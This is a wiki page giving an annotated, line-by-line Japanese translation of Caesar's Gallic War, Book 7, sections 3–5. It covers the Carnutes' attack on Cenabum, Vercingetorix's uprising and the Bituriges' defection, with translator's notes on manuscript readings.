[[画像:Cathédrale_Sainte-Croix_d'Orléans_2008_PD_16.JPG|thumb|right|280px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]の聖十字架大聖堂。ここもカルヌーテース族の[[w:オッピドゥム|城塞都市]]で、ガッリアの[[w:ドルイド|ドルイド]]たちが集まる聖地だったという。ローマの[[w:ルキウス・ドミティウス・アウレリアヌス|アウレリアヌス帝]]（Aurelianus）によって再建されたのでアウレリアヌスの都市（アウレリアヌム [[w:la:Aurelianum|Aurelianum]]）と改称され、オルレアン（Orléans）と転訛した。キリスト教化によってここにも[[w:司教|司教座]]が置かれて、布教の中心地になった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/3節]]　{{進捗|00%|2025-11-17}}&lt;/span&gt;
;カルヌーテース族がケナブム進駐
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] ea dies venit, 
**その日が来ると、
*[[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族は、
*Cotuato et Conconnetodumno [[wikt:en:dux#Latin|ducibus]], [[wikt:en:desperatus#Latin|desperatis]] hominibus, 
**捨て身覚悟の連中であるコトゥアトゥスとコンコンネトドゥムヌスを指導者として、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語では、&lt;br&gt;　　　　　コトゥアトス ''[[w:fr:Cotuatos|Cotuatos]]''、&lt;br&gt;　　　　　コンコンネトドゥムノス ''[[w:fr:Conconnetodumnos|Conconnetodumnos]]''。）&lt;/span&gt;
*&lt;u&gt;Cenabum&lt;/u&gt; [[wikt:en:signum#Latin|signo]] [[wikt:en:datus#Participle|dato]] [[wikt:en:concurrunt|concurrunt]] 
**号令が発せられるとともに&lt;u&gt;ケナブム&lt;/u&gt;に襲来する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブムは、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:fr:Cenabum|Cenabum]] はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　写本では genabim, genebim, genebin などとなっている。&lt;br&gt;　　　　　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;

*[[wikt:en:civis#Latin|cives]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Romanus#Adjective|Romanos]], qui [[wikt:en:negotiandi|negotiandi]] causa [[wikt:en:ibi#Latin|ibi]] [[wikt:en:constiterant|constiterant]], 
**そこには、商いを営むためにローマ市民たちが滞在していて、
*in his [[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Fufius#Latin|Fufium]] Citam, [[wikt:en:honestus#Latin|honestum]] [[wikt:en:eques#Latin|equitem]] [[wikt:en:Romanus#Adjective|Romanum]], 
**彼らの中には、気高いローマ人[[w:エクィテス|騎士]]ガーイウス・フーフィウス・キタがいて
*qui rei [[wikt:en:frumentarius#Latin|frumentariae]] [[wikt:en:iussus#Noun|iussu]] Caesaris [[wikt:en:praeerat|praeerat]], 
**カエサルの指図により糧秣調達を統率していたが、
*[[wikt:en:interficiunt|interficiunt]] [[wikt:en:bonum#Noun_2|bona]]&lt;nowiki&gt;que&lt;/nowiki&gt; eorum [[wikt:en:diripiunt|diripiunt]]. 
**&lt;small&gt;（カルヌーテース勢は彼らローマ市民たちを）&lt;/small&gt;殺害して、彼らの財産を略奪する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Celeriter ad omnes Galliae [[wikt:en:civitas#Latin|civitates]] [[wikt:en:fama#Latin|fama]] [[wikt:en:perfertur|perfertur]]. 
**速やかに全ガッリア部族のもとへ、評判が報知される。
*Nam, &lt;u&gt;ubique&lt;/u&gt; [[wikt:en:maior#Latin|maior]] atque [[wikt:en:inlustrior|inlustrior]] [[wikt:en:incidit#Etymology_1|incidit]] res, 
**なぜなら、より重大でより目立った事態が起こればどこであろうが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; の大半では [[wikt:en:ubique#Latin|ubique]] だが、写本STでは [[wikt:en:ubi#Latin|ubi]] 、&lt;br&gt;　　　　　　　　　さらに [[wikt:en:ubicumque#Latin|ubicumque]] という異読もあり、&lt;br&gt;　　　　　　　　　&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Schneider,K.E.Chr.|Chr. Schneider]]'' は ubi quae と修正提案している。）&lt;/span&gt;
*[[wikt:en:clamor#Latin|clamore]] per [[wikt:en:ager#Latin|agros]] [[wikt:en:regio#Latin|regiones]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:significant#Latin|significant]]; 
**耕地や&lt;small&gt;（集落の）&lt;/small&gt;区域を介して、大声で呼びかける。
*&lt;u&gt;hinc&lt;/u&gt; [[wikt:en:alius#Latin|alii]] [[wikt:en:deinceps#Latin|deinceps]] [[wikt:en:excipiunt|excipiunt]] 
**ここから、別の者たちが続けて引き受けて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の大半では [[wikt:en:hanc#Latin|hanc]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:hinc#Latin|hinc]] 「ここから」、&lt;br&gt;　　　　　　　　　写本Sでは [[wikt:en:hunc|hunc]] となっている。）&lt;/span&gt;
*et [[wikt:en:proximus#Noun|proximis]] [[wikt:en:tradunt|tradunt]]; 
**近隣の者たちへ伝える。
*ut tum [[wikt:en:accidit#Etymology_1|accidit]]. 
**そのときにも&lt;small&gt;（同様のことが）&lt;/small&gt;起こったのである。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, quae &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:oriens#Latin|oriente]] [[wikt:en:sol#Latin|sole]] gesta essent, 
**ケナブムで日が昇るときになされていたこと&lt;small&gt;〔襲撃〕&lt;/small&gt;が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：Cenabi はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　主要写本&amp;omega; では genabi となっている。　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:gestus#Latin|gesta]] [[wikt:en:essent#Etymology_1|essent]] は [[wikt:en:gero#Latin|gerō]] の3人称･複数･過去完了･受動･接続法。）&lt;/span&gt;
*ante [[wikt:en:primus#Latin|primam]] [[wikt:en:confectus#Latin|confectam]] [[wikt:en:vigilia#Latin|vigiliam]] 
**第一夜警時の終わる前頃には
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第一夜警時は、日の入から真夜中までの時間帯の前半「宵の口」。&lt;br&gt;　　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*in finibus [[wikt:en:Arverni#Latin|Arvernorum]] audita sunt, 
**アルウェルニー族の領土において聞かれた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:auditus#Latin|audita]] [[wikt:en:sunt#Latin|sunt]] は [[wikt:en:audio#Latin|audiō]] の3人称･複数･完了･受動･直説法）&lt;/span&gt;
*[[wikt:en:qui#Latin|quod]] [[wikt:en:spatium#Latin|spatium]] est [[wikt:en:mille#Latin|milium]] [[wikt:en:passus#Etymology_2|passuum]] circiter [[wikt:en:centum#Latin|centum]] [[wikt:en:sexaginta#Latin|sexaginta]](CLX).
**約160ローママイルもの隔たりがあったのに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、160マイルは約240 km）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
==ウェルキンゲトリークスとガッリア同盟軍の蜂起==
===4節===
[[画像:Vercingetorix stater CdM.jpg|thumb|right|200px|“&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;(VERCIN)GETORIXS&lt;/span&gt;”の名と横顔が刻まれた金貨。]]
[[画像:Vercingétorix_par_Millet.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（フランスのアリーズ＝サント＝レーヌ &lt;small&gt;[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]&lt;/small&gt;）。&lt;br&gt;近代[[w:ナショナリズム|ナショナリズム]]の高揚とともに[[w:フランス|フランス]]国民が自らを古代[[w:ガリア人|ガッリア人]]の末裔と見なすようになると（[[w:ガリア起源説|ガッリア起源説]]）、ガッリア諸部族を率いて[[w:古代ローマ|古代ローマ]]と戦った彼は「'''フランス最初の英雄'''」として祀り上げられた。[[w:フランス第二帝政|第二帝政]]期に皇帝[[w:ナポレオン3世|ナポレオン3世]]の命により[[w:アレシアの戦い|アレスィア古戦場]]の発掘調査が実施され、[[w:1865年|1865年]]にはその地に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）による高さ7メートルの銅像が建立された。&lt;br&gt;（[[w:fr:Vercingétorix_(statue_d'Aimé_Millet)|fr:La statue de Vercingétorix]]）]]
[[画像:Statue-vercingetorix-jaude-clermont.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の騎馬像([[w:fr:Statue équestre de Vercingétorix (Frédéric Auguste Bartholdi)|fr]])。彼の出身地ゲルゴウィアの近く、[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]中央広場に建つ。[[w:1903年|1903年]]に、[[w:自由の女神像 (ニューヨーク)|自由の女神像]]の作者として著名な彫刻家[[w:フレデリク・バルトルディ|フレデリク・オーギュスト・バルトルディ]]によって建立された。[[w:フランス語|フランス語]]で「我は皆の自由のために武器を取った」« J’ai pris les armes pour la liberté de tous » と刻まれている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/4節]]　{{進捗|00%|2025-11-24}}&lt;/span&gt;
;アルウェルニー族のウェルキンゲトリークスが挙兵、ガッリア諸部族同盟軍を指揮する
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:similis#Latin|Simili]] [[wikt:en:ratio#Latin|ratione]] ibi 
**そこ&lt;small&gt;〔アルウェルニー族領〕&lt;/small&gt;でも同様のやり方によって、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]という、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語 [[wikt:en:Reconstruction:Gaulish/Werkingetorix|*Werkingetorīx]] は「戦士たちの最高の王」という意味で、&lt;br&gt;　　　　　ガッリア同盟軍の最高司令官にふさわしい呼び名である。&lt;br&gt;　　　　　《[[ガリア戦記/ガリア語の名前#Vercingetorix|'''ガリア語の名前'''#Vercingetorix]]》 を参照せよ。）&lt;/span&gt;
*[[wikt:fr:Celtillus|Celtilli]] filius, [[wikt:en:Arvernus#Latin|Arvernus]], 
**ケルティッルスの息子で[[w:アルウェルニ族|アルウェルニー族]]の者で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:en:Celtillus|Celtillus]]'' はガリア語で「小さなケルト人」という意味だと解される。）&lt;/span&gt;
*[[wikt:en:summus#Adjective|summae]] [[wikt:en:potentia#Latin|potentiae]] [[wikt:en:adulescens#Noun|adulescens]], 
**最高の影響力のある青年が、
*cuius [[wikt:en:pater#Latin|pater]] [[wikt:en:principatus#Latin|principatum]] Galliae [[wikt:en:totus#Etymology_1|totius]] [[wikt:en:obtinuerat|obtinuerat]] 
**──その父&lt;small&gt;〔ケルティッルス〕&lt;/small&gt;はガッリア全体の主導権を占めていたが、
*et ob eam causam, quod [[wikt:en:regnum#Latin|regnum]] [[wikt:en:adpetebat|adpetebat]], ab [[wikt:en:civitas#Latin|civitate]] erat [[wikt:en:interfectus#Latin|interfectus]], 
**王位を求めたという理由により、部族の者によって誅殺されていたのであるが、──
*[[wikt:en:convocatus#Latin|convocatis]] suis [[wikt:en:cliens#Latin|clientibus]] 
**自らの庇護者たちを招集して、
*facile [[wikt:en:incendit|incendit]]. 
**容易に焚き付けた。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:cognitus#Participle|Cognito]] eius [[wikt:en:consilium#Latin|consilio]] 
**彼の計画を知ると、
*ad [[wikt:en:arma#Latin|arma]] [[wikt:en:concurritur|concurritur]]. 
**&lt;small&gt;（人々は）&lt;/small&gt;武器のもとへ群がり集まった。
*[[wikt:en:prohibetur|Prohibetur]] ab [[wikt:fr:Gobannitio|Gobannitione]], [[wikt:en:patruus#Latin|patruo]] suo, [[wikt:en:reliquus#Latin|reliquis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:princeps#Noun_3|principibus]], 
**彼の&lt;small&gt;（父方の）&lt;/small&gt;おじゴバンニティオやほかの領袖たちにより妨げられた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Gobannitio|Gobannitio]]'' は「鍛冶屋」か「鍛冶の神」に由来する名前と解される。）&lt;/span&gt;
*qui hanc [[wikt:en:temptandus#Latin|temptandam]] [[wikt:en:fortuna#Latin|fortunam]] non [[wikt:en:existimabant|existimabant]]; 
**その者たちは、このような運命を試すべきとは考えていなかったのだ。
*[[wikt:en:expellitur|expellitur]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:Gergovia#Latin|Gergovia]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;城塞都市ゲルゴウィアから追放される。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; non [[wikt:en:destitit|destitit]] tamen 
**しかしながら&lt;small&gt;（彼は計画を）&lt;/small&gt;取り止めず、
*atque in agris habet [[wikt:en:dilectus#Noun|dilectum]] [[wikt:en:egens#Latin|egentium]] ac [[wikt:en:perditor#Noun|perditorum]]. 
**野に貧窮者たちやならず者たちを徴集する。
:　
*Hac [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**こうした手勢が集められ、
*[[wikt:en:quoscumque|quoscumque]] [[wikt:en:adit#Latin|adit]] ex civitate, 
**部族のうちで&lt;small&gt;（彼が）&lt;/small&gt;会った者は誰であれ、
*ad suam [[wikt:en:sententia#Latin|sententiam]] [[wikt:en:perducit|perducit]]; 
**自らの意図に引き込んだ。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:hortatur|hortatur]] ut [[wikt:en:communis#Latin|communis]] [[wikt:en:libertas#Latin|libertatis]] causa [[wikt:en:arma#Latin|arma]] [[wikt:en:capiant|capiant]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の自由のために武器を取るように鼓舞した。
*[[wikt:en:magnus#Latin|magnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:coactus#Latin|coactis]] [[wikt:en:copia#Latin|copiis]] 
**大軍勢が集められて、
*[[wikt:en:adversarius#Latin|adversarios]] suos, a quibus paulo ante erat [[wikt:en:eiectus#Latin|eiectus]], 
**少し前に&lt;small&gt;（彼をゲルゴウィアから）&lt;/small&gt;放逐したところの敵対者たちを、
*[[wikt:en:expellit|expellit]] ex civitate. 
**部族から追放する。
*[[wikt:en:rex#Latin|Rex]] ab suis [[wikt:en:appellatur|appellatur]]. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;配下の者たちから王と呼ばれている。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:dimittit|Dimittit]] [[wikt:en:quoque#Latin|quoque]] [[wikt:en:versus#Adverb|versus]] [[wikt:en:legatio#Latin|legationes]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;あらゆる方向へ使節団を派遣して、
*[[wikt:en:obtestatur|obtestatur]] ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]]. 
**誓約に留まるようにと、懇願する。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter sibi 
**速やかに、自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;に対して
*[[wikt:en:Senones#Latin|Senones]], [[wikt:en:Parisii#Latin|Parisios]], [[wikt:en:Pictones#Latin|Pictones]], [[wikt:en:Cadurci#Latin|Cadurcos]], &lt;u&gt;Turonos&lt;/u&gt;, [[wikt:en:Aulerci#Latin|Aulercos]], [[wikt:en:Lemovices#Latin|Lemovices]], &lt;u&gt;Andes&lt;/u&gt; 
**セノネース族、パリースィイー族、ピクトネース族、カドゥルキー族、&lt;br&gt;&lt;u&gt;トゥロニイー族&lt;/u&gt;、アウレルキー族、レモウィーケース族、アンデース族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部のトゥロニイー族 ''[[w:Turoni|Turoni]]'' は、トゥロネース族 ''[[wikt:en:Turones#Latin|Turonēs]]'' ともいう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本では [[wikt:en:Andi#Latin|Andos]]「アンディー族」だが、&lt;br&gt;　　　　　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Glareanus|Glareanus]]'' は、[[wikt:en:Andes#Latin|Andēs]]「アンデース族」と修正提案し、&lt;br&gt;　　　　　　　　　　　　　これは別名「アンデカーウィー族」''[[wikt:en:Andecavi#Latin|Andecāvī]]'' ともいう。）&lt;/span&gt;
*reliquosque omnes, qui [[wikt:en:Oceanus#Latin|Oceanum]] [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adiungit|adiungit]]; 
**および&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接するほかの全部族を、加盟させる。
*omnium [[wikt:en:consensus#Latin|consensu]] 
**すべての者たちの同意により、
*ad eum [[wikt:en:defertur|defertur]] [[wikt:en:imperium#Latin|imperium]]. 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;に&lt;small&gt;（諸部族の）&lt;/small&gt;軍勢指揮権が譲り渡される。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Qua [[wikt:en:oblatus#Latin|oblata]] [[wikt:en:potestas#Latin|potestate]] 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;その権限が任されると、
*omnibus his civitatibus [[wikt:en:obses#Latin|obsides]] [[wikt:en:imperat|imperat]], 
**これらすべての部族に人質&lt;small&gt;（の供出）&lt;/small&gt;を命令して、
*[[wikt:en:certus#Latin|certum]] numerum [[wikt:en:miles#Latin|militum]] ad se celeriter [[wikt:en:adduci#Latin|adduci]] [[wikt:en:iubet#Latin|iubet]], 
**兵の一定の数が自分のもとへ速やかに動員されることを命じる。
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:arma#Latin|armorum]] [[wikt:en:quantum#Latin|quantum]] [[wikt:en:quisque#Latin|quaeque]] civitas [[wikt:en:domi#Latin|domi]] [[wikt:en:quisque#Latin|quodque]] ante tempus [[wikt:en:efficiat|efficiat]], [[wikt:en:constituit#Latin|constituit]]; 
**おのおのの部族が本国で、武器のどれほどをその時期の前に生産するかを、決定した。
*in primis [[wikt:en:equitatus#Latin|equitatui]] [[wikt:en:studet|studet]]. 
**とりわけ、[[w:騎兵|騎兵隊]]を熱心に求めた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Summae diligentiae summam [[wikt:en:imperium#Latin|imperii]] [[wikt:en:severitas#Latin|severitatem]] addit; 
**&lt;small&gt;&lt;/small&gt;（ウェルキンゲトリークスは）最高の入念さに、命令の最高の厳格さを付け加える。
*magnitudine [[wikt:en:supplicium#Latin|supplicii]] [[wikt:en:dubitans#Latin|dubitantes]] cogit. 
**重大な刑罰をふんぎりが付かぬ者たちへ強いる。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Nam maiore commisso delicto &lt;u&gt;igni&lt;/u&gt; atque omnibus tormentis necat, 
**すなわち、より重大な違反を犯したら、火とあらゆる拷問によって誅殺した。
*leviore de causa auribus desectis aut singulis effossis oculis domum remittit, 
**より軽微な場合については、両耳を切り取り、あるいは眼を一つずつ繰り抜いて、郷里へ送還する。
*ut sint reliquis documento et magnitudine poenae perterreant alios.
**ほかの者たちへの警告となり、懲罰の重大さが別の者たちを畏怖させるようにである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===5節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/5節]]　{{進捗|00%|2025-12-14}}&lt;/span&gt;
;ビトゥリゲース族が、ガッリア同盟軍に寝返る
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:supplicium#Latin|suppliciis]] celeriter [[wikt:en:coactus#Latin|coacto]] [[wikt:en:exercitus#Noun|exercitu]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらの刑罰により速やかに軍隊を徴集して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「軍隊」と訳される [[wikt:en:exercitus#Noun|exercitus]] には「鍛えられて規律がある」という意味合いがあり、&lt;br&gt;　　　　これまでカエサルがガッリア人の軍勢をこのように表現したことはまれであった。）&lt;/span&gt;
*[[wikt:en:Lucterius#Latin|Lucterium]] [[wikt:en:Cadurcus#Latin|Cadurcum]], [[wikt:en:summus#Latin|summae]] hominem [[wikt:en:audacia#Latin|audaciae]], 
**この上なく豪胆な人物であるカドゥルキー族のルクテリウスを
*cum parte [[wikt:en:copiarum#Noun_2|copiarum]] in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:mittit|mittit]]; 
**軍勢の一部とともにルテーニー族のところに遣わす。
*ipse in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身はビトゥリゲース族のところに出発する。
:　
;　　　ビトゥリゲース族が、ハエドゥイー族に、対ウェルキンゲトリークスのための援兵を依頼
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eius [[wikt:en:adventus#Latin|adventu]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の到来により、
*[[wikt:en:Bituriges#Latin|Bituriges]] ad [[wikt:en:Aeduos|Haeduos]], quorum erant in [[wikt:en:fides#Latin|fide]], 
**ビトゥリゲース族は、彼らが庇護下にあった[[w:ハエドゥイ族|ハエドゥイー族]]のもとへ、
*[[wikt:en:legatus#Latin|legatos]] [[wikt:en:mittunt|mittunt]] [[wikt:en:subsidium#Latin|subsidium]] [[wikt:en:rogatum#Verb|rogatum]], 
**使節たちを、&lt;small&gt;（ハエドゥイー族からの）&lt;/small&gt;援兵を依頼するために派遣する。
*[[wikt:en:quo#Adverb|quo]] [[wikt:en:facile#Latin|facilius]] hostium copias [[wikt:en:sustinere|sustinere]] [[wikt:en:possint|possint]]. 
**それにより、敵の軍勢をより容易に持ちこたえることができるようにということであった。
:　
;　　　ハエドゥイー族が、ビトゥリゲース族に対して援兵を派兵
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:Aedui#Latin|Haedui]] de [[wikt:en:consilium#Latin|consilio]] [[wikt:en:legatus#Latin|legatorum]], quos Caesar ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reliquerat|reliquerat]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]は、カエサルが軍隊のもとへ残していた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの助言により、
*copias [[wikt:en:equitatus#Noun|equitatus]] [[wikt:en:peditatus#Latin|peditatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:subsidium#Latin|subsidio]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:mittunt|mittunt]]. 
**[[w:騎兵|騎兵隊]]と[[w:歩兵|歩兵隊]]の軍勢をビトゥリゲース族に対する援兵として派遣する。
:　
;　　　ハエドゥイー族の援兵が、ビトゥリゲース族の寝返りを怖れて、途中で逃げ帰ってしまう
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qui cum ad flumen [[wikt:en:Liger#Latin|Ligerim]] [[wikt:en:venissent|venissent]], quod [[wikt:en:Bituriges#Latin|Bituriges]] ab [[wikt:en:Aeduis|Haeduis]] [[wikt:en:dividit#Latin|dividit]], 
**その者たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族を[[w:ハエドゥイ族|ハエドゥイー族]]から分け隔てるリゲル川のたもとへやって来たときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川 [[w:la:Liger|Liger]] は、現在の[[w:ロワール川|ロワール川]]。&lt;br&gt;　　　　本書に登場するビトゥリゲース・クビ族 ''[[w:en:Bituriges Cubi|Bituriges Cubi]]'' は、&lt;br&gt;　　　　　ロワール川西岸の[[w:シェール県|シェール県]]の辺りに居住していた。&lt;br&gt;　　　　対して、[[w:ハエドゥイ族|ハエドゥイー族]]は、&lt;br&gt;　　　　　ロワール川東岸の[[w:ニエーヴル県|ニエーヴル県]]の辺りに居住していた。）&lt;/span&gt;
[[画像:Map of Eduens people-fr.svg|thumb|right|250px|[[w:ハエドゥイ族|ハエドゥイー族]]を軸とするガッリアの合従連衡（&lt;small&gt;フランス語表記&lt;/small&gt;）。赤い部分がハエドゥイー族（Eduens）、桃色・茶色の部分が同盟部族、灰色の部分が敵対する[[w:アルウェルニ族|アルウェルニー族]]（Arvernes）とセクアニ族（Sequanes）の領域である。茶色のビトゥリゲース族（Bituriges）と赤いハエドゥイー族（Eduens）の境界に沿ってリゲル川（[[w:ロワール川|ロワール川]]）が流れていることが見て取れる。川の西岸はビトゥリゲース族とアルウェルニー族の勢力圏になっている。]]
*paucos dies ibi [[wikt:en:moratus#Participle|morati]] 
**わずかな日々をそこでぐずぐずして、
*neque flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:ausus#Participle|ausi]] [[wikt:en:domus#Latin|domum]] [[wikt:en:revertuntur|revertuntur]] 
**川をあえて渡らずに、故国に引き返す。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:legatus#Latin|legatis]]&lt;nowiki&gt;que&lt;/nowiki&gt; nostris [[wikt:en:renuntiant|renuntiant]] 
**&lt;small&gt;（ハエドゥイー族の援兵たちが）&lt;/small&gt;我が方&lt;small&gt;〔ローマ方〕&lt;/small&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告したことには、
*se [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:perfidia#Latin|perfidiam]] [[wikt:en:veritus#Latin|veritos]] [[wikt:en:revertisse|revertisse]], 
**自分たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族の寝返りを恐れて引き返した。
*quibus id [[wikt:en:consilium#Latin|consilii]] fuisse [[wikt:en:cognoverint|cognoverint]], 
**彼らには、以下のような謀計があったことを探知したのだ。
*ut, si flumen [[wikt:en:transissent#Latin|transissent]], una ex parte ipsi, altera [[wikt:en:Arverni#Latin|Arverni]] se [[wikt:en:circumsisterent|circumsisterent]]. 
**もし川を渡ったら、一方から&lt;small&gt;（ビトゥリゲース族）&lt;/small&gt;自身が、他方から[[w:アルウェルニ族|アルウェルニー族]]が自分たちを包囲するというものだ、と。
:　
